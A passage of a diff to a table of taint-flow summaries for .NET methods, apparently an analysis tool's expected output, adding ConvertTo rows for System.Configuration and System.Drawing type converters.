System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IntegerValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;KeyValueConfigurationCollection;Add;(System.Configuration.KeyValueConfigurationElement);Argument[this];Argument[0];taint;df-generated | | System.Configuration;KeyValueConfigurationCollection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -7142,31 +7271,51 @@ | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[1];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;UriSection;get_Idn;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_IriParsing;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_SchemeSettings;();Argument[this];ReturnValue;taint;df-generated | @@ -7174,8 +7323,12 @@ | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataSet,System.Data.SchemaType,System.String,System.Data.IDataReader);Argument[0];ReturnValue;taint;df-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataSet,System.Data.SchemaType,System.String,System.Data.IDataReader);Argument[this];ReturnValue;taint;df-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataTable,System.Data.SchemaType,System.Data.IDataReader);Argument[0];ReturnValue.Element;value;dfc-generated | @@ -8467,8 +8620,12 @@ | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PrintDocument;add_BeginPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_EndPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_PrintPage;(System.Drawing.Printing.PrintPageEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -8487,9 +8644,14 @@ | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ColorConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].Property[System.Drawing.Color.Name];ReturnValue;value;dfc-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].SyntheticField[System.Drawing.Color.name];ReturnValue;value;dfc-generated | @@ -8504,8 +8666,12 @@ | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;FontConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Graphics+DrawImageAbort;BeginInvoke;(System.IntPtr,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Drawing;Graphics+EnumerateMetafileProc;BeginInvoke;(System.Drawing.Imaging.EmfPlusRecordType,System.Int32,System.Int32,System.IntPtr,System.Drawing.Imaging.PlayRecordCallback,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | @@ -8558,8 +8724,12 @@ | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;Image+GetThumbnailImageAbort;BeginInvoke;(System.AsyncCallback,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing;Image;GetThumbnailImage;(System.Int32,System.Int32,System.Drawing.Image+GetThumbnailImageAbort,System.IntPtr);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Drawing;ImageAnimator;Animate;(System.Drawing.Image,System.EventHandler);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -8567,44 +8737,72 @@ | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageFormatConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Rectangle;Inflate;(System.Drawing.Rectangle,System.Int32,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| 